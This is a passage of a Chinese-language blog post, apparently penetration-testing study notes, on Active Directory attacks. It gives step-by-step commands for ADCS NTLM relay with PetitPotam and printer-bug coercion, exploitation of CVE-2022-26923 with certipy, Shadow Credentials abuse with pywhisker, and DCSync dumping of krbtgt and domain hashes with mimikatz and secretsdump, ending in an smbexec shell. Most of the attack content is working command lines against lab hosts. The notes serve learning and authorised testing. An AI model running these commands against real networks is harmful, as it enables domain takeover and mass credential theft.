python ntlmrelayx.py -t http://192.168.41.10/certsrv/certfnsh.asp -smb2support --adcs --template 'domain controller'

触发,强制DC回连开启监听的机器

#使用PetitPotam漏洞触发 
python PetitPotam.py -d hack.com -u hack -p Admin123 192.168.41.19 192.168.41.40

#使用Print Spooler漏洞触发
python3 printerbug.py hack/hack:Admin123@192.168.41.40 192.168.41.19

拿到证书,通过证书请求TGT并导入内存:

Rubeus.exe asktgt /user:DC2$ /ptt /nowrap /outfile:ticket.kirbi /certificate:打印出的的base64格式的证书

DCSync:

mimikatz.exe "lsadump::dcsync /domain:hack.com /user:krbtgt /csv" "exit"

CVE-2022-26923

该漏洞产生的主要原因是ADCS服务器在处理计算机模板证书时是通过机器的dNSHostName属性来辨别用户的,而普通域用户即有权限修改它所创建的机器账户dNSHostName属性,因此恶意攻击者可以创建一个机器账户,然后修改它的dNSHostName属性为域控的dNSHostName,然后去请求计算机模板的证书。
ADCS服务器在生成证书时会将域控的dNSHostName属性写入证书中。当使用进行PKINI Kerberos认证时,KDC会查询活动目录中的sAMAccountName属性为“dNSHostName-域名+$”的对象,此时会查询到域控,因此会以域控机器账户的权限生成PAC放入票据中。由于域控机器账户默认具有DCSync权限,因此攻击者可以通过该票据导出域内任意用户的Hash。

总结:利用DNS机制欺骗KDC,让KDC生成证书时误把DC的PAC放入TGT中

攻击机器配置如下hosts

192.168.41.10      DC.hack.com

定位ADCS服务器,查询结果如图所示,主要记住Name和Server参数的值。

#在域内的话,可以执行如下命令定位证书服务器
certutil -config - -ping
#或者下面的命令,不弹框定位
certutil -dump -v

创建机器账户machine,并把dnshostname属性改成DC的

certipy account create -u hack@DC.hack.com -p Admin123 -dc-ip 192.168.41.10 -user "machine" -dns "DC.hack.com" -debug

请求dc.pfx

certipy req -u 'machine$'@hack.com -p ckHKXHOMLQEA0fSq -target 192.168.41.60 -ca hack-SEVER2016-CA -template Machine
#ckHKXHOMLQEA0fSq是机器账户的密码

拿NTLMhash:

certipy auth -pfx dc.pfx -dc-ip 192.168.41.10 -debug

到目前出现了到esc15,留个坑,后面再填
https://mayfly277.github.io/posts/ADCS-part14/#esc15-cve-2024-49019

Shadow Credentials

https://www.freebuf.com/articles/network/331955.html

PKINIT协议

之前学习ADCS的时候,使用证书之所以可以绕过Kerberos验证来完成AS预认证,依靠的是PKINIT协议。实际上这个协议依赖CA颁发的证书,所以还可以使用智能卡、USB等设备进行验证(有数字证书就行)

PKINIT协议采用非对称加密的方式,客户端私钥加密,服务端公钥解密,完成验证之后将会话密钥存存在TGT的加密部分,这样就算攻击者拿到了私钥,但是由于没有krbtgt,也无法解密

即使环境中没有KPI体系,微软也引入了密钥信任概念,简单来说就是PKINIT的身份验证是基于原始密钥而不是证书的。

攻击原理

对于这个攻击,我还没有在真实靶场中实操过,记录一下文章中的操作方法。

刚刚提到只要有原始密钥即可进行身份验证,而目标对象(比如说域控)的原始密钥储存在一个名为 msDS-KeyCredentialLink的多值属性中,该属性的值是 Key Credentials,它是包含创建日期、所有者可分辨名称等信息的序列化对象,一个代表设备 ID 的 GUID,当然还有公钥。

这意味着如果我们可以写入用户的 msDS-KeyCredentialLink属性,写入我们自己的公钥,那么就可以获得该用户的 TGT。这个方法同样可以用于权限维持,在属性中写入公钥后门,后续要连接的话自己发起认证即可。

一般渗透中打这个攻击的,都是低权限账户,要对这个属性能够进行修改,一般都是由于配置了错误的ACL权限,一般是要对 Active Directory 中的对象具有 GenericAll 或 GenericWrite 权限

步骤

两个工具,一个域内使用,一个域外使用。

Whisker:https://github.com/eladshamir/Whisker
pywhisker: https://github.com/ShutdownRepo/pywhisker

#生成.pfx证书
python3 pywhisker.py -d "pentest.com" -u "Marcus" -p "Marcus@123" --target "DC01$" --action "add" --filename dc01

#进行身份验证,储存.ccache的TGT票据
python3 gettgtpkinit.py -cert-pfx dc01.pfx -pfx-pass sR68YYFbN6WQIkdBxrol pentest.com/dc01\$ dc01.ccache

# DCSync
export KRB5CCNAME=/root/PKINITtools/dc01.ccache
python3 secretsdump.py -k pentest.com/dc01\$@dc01.pentest.com -no-pass -just-dc

#也可以smbexec拿shell
python3 smbexec.py -k pentest.com/Administrator@dc01.pentest.com -no-pass

文章作者: Xiaohao

文章链接: https://blog.enxiaohao.cn/posts/Pentration/DomainPentration/

版权声明:除另有声明外,本博客文章均采用 CC BY-NC-SA 4.0 许可协议。转载请注明原作者与文章出处。

域渗透

2025数证杯决赛个人赛Writeup «
上一篇 «
None
» 下一篇